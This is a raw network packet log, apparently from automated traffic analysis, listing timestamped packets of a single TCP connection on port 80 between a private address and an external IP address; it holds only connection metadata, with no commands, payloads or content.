Jan 11, 2025 06:24:44.686635017 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.686657906 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.686693907 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.686700106 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.687398911 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.687449932 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.687450886 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.687485933 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.687519073 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.687522888 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.687552929 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.687588930 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.687609911 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.688190937 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.688205004 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.688227892 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.688245058 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.688354015 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.702127934 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.702162981 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.702198029 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.702234030 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.702297926 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.702328920 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.736417055 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.736466885 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.736505985 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.736541033 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.736594915 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.736598015 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.736633062 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.736645937 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.736670017 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.736690044 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.736705065 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.736741066 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.736745119 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.736776114 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.736812115 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.736864090 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.744040966 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.769475937 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.769493103 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.769505024 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.769516945 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.769529104 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.769545078 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.769551992 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.769644022 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.769695997 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.770693064 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.770714998 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.770764112 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.770781994 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.770802021 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.770814896 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.770828009 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.770838022 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.770863056 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.770945072 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.770956993 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.770968914 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.770981073 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.770988941 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.771029949 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.803872108 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.803946972 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.803986073 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.804023027 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.804039955 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.804078102 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.804085016 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.804115057 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.804155111 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.804168940 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.804200888 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.804235935 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.804243088 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.804270029 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.804310083 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.804330111 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.804380894 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.804414034 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.804423094 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.804466009 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.804507971 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.804516077 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.804568052 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.804601908 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.804608107 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.804641962 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.804676056 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.804682016 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.804711103 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.804744959 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.804754972 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.804780006 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.804812908 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.804821014 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.804847956 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.804882050 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.804888964 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.804915905 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.804948092 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.804955006 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.804981947 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.805016041 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.805022955 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.805064917 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.805097103 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.805103064 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.805138111 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.805150032 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.805172920 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.805186033 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.805234909 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.805258036 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.805294037 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.805325985 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.805335045 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.805361986 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.805394888 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.805402040 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.805434942 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.805473089 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.805565119 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.805613041 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.805656910 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.805665016 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.805697918 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.805737019 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.805741072 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.805787086 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.805821896 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.805829048 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.805855036 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.805891037 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.805896997 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.805923939 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.805958033 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.805963039 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.806134939 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.806169033 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.806178093 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.806220055 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.806253910 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.806265116 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.806288004 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.806322098 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.806332111 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.806386948 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.806420088 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.806430101 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.806473017 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.806507111 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.806514978 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.806540966 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.806575060 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.806581020 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.806607962 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.806641102 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.806651115 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.806677103 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.806709051 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.806715965 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.806742907 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.806780100 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.806786060 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.807097912 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.807132006 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.807141066 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.807183981 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.807218075 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.807225943 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.807252884 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.807296038 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.807303905 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.807360888 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.807400942 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.807416916 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.807451963 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.807486057 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.807490110 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.807521105 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.807554960 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.807559013 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.807590008 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.807626963 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.807636976 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.807672024 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.807707071 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.807714939 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.831871033 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.831924915 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.831934929 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.831976891 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.832015991 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.832037926 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.832067966 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.832110882 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.832122087 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.832156897 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.832190990 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.832195997 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.832236052 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.832267046 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.832277060 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.832300901 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.832334042 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.832340956 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.832366943 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.832401037 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.832405090 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.832433939 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.832467079 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.832473993 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.842015982 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.860234022 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.860263109 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.860275984 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.860286951 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.860301018 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.860312939 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.860327005 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.860348940 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.860389948 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.861450911 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.861463070 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.861474991 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.861524105 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.861524105 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.861536026 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.861548901 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.861560106 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.861565113 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.861588955 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.894351006 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.894388914 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.894402027 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.894416094 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.894428968 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.894442081 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.894493103 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.894509077 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.894521952 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.894537926 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.894546032 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.894547939 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.894579887 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.894594908 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.894601107 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.894607067 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.894639969 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.894645929 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.894659042 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.894702911 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.894735098 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.894778967 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.894789934 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.894814014 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.894850969 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.894862890 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.894876957 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.894890070 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.894893885 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.894908905 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.894917011 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.894937992 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.894947052 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.895050049 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.895086050 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.895111084 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.895123005 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.895136118 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.895155907 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.895168066 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.895179987 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.895191908 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.895203114 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.895207882 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.895227909 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.895304918 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.895339966 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.895556927 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.895570040 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.895584106 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.895595074 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.895610094 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.895617008 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.895628929 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.895636082 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.895642042 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.895654917 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.895668030 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.895675898 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.895680904 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.895701885 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.895704031 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.895731926 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.895901918 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.895921946 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.895935059 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.895941019 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.895977020 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.896125078 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.896138906 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.896151066 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.896163940 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.896176100 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.896178961 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.896193027 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.896200895 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.896208048 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.896218061 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.896225929 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.896254063 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.899393082 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.899421930 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.899480104 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.899490118 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.899511099 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.899548054 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.899581909 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.899593115 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.899625063 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.899638891 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.899640083 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.899656057 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.899677992 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.899705887 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.899719000 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.899732113 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.899744987 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.899744987 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.899770021 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.899774075 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.899784088 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.899796009 CET	80	49743	193.143.1.205	192.168.2.9
Jan 11, 2025 06:24:44.899807930 CET	49743	80	192.168.2.9	193.143.1.205
Jan 11, 2025 06:24:44.899821043 CET	80	49743	193.143.1.205	192.168.2.9
